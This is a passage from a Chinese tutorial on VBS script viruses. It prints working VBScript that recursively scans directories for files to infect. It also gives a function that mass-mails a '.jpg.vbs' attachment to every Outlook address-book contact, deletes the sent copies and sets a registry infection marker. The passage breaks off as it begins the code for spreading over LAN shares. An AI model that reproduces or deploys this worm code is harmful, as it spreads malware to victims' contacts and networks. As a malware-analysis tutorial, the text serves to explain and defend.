ext=lcase(ext) '后缀名转换成小写字母 if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。 Wscript.echo (file) end if next set subfolders=folder_.subfolders for each subfolder in subfolders '搜索其他目录;递归调用 scan( ) scan(subfolder) next end sub 上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析 VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播: 1)通过Email附件传播 这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。 下面我们具体分析一下VBS脚本病毒是如何做到这一点的: Function mailBroadcast() on error resume next wscript.echo Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象 If outlookApp= "Outlook" Then Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间 Set addrList= mapiObj.AddressLists //获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count <> 0 Then addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址 Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例 Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址 item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题 item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容 Set attachMents=item.Attachments //定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs" item.DeleteAfterSubmit = True //信件提交后自动删除 If item.To <> "" Then item.Send //发送邮件 shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染 End If Next End If Next End if End Function
2)通过局域网共享传播 局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。 在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。 welcome_msg = "网络连接搜索测试" Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象 Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表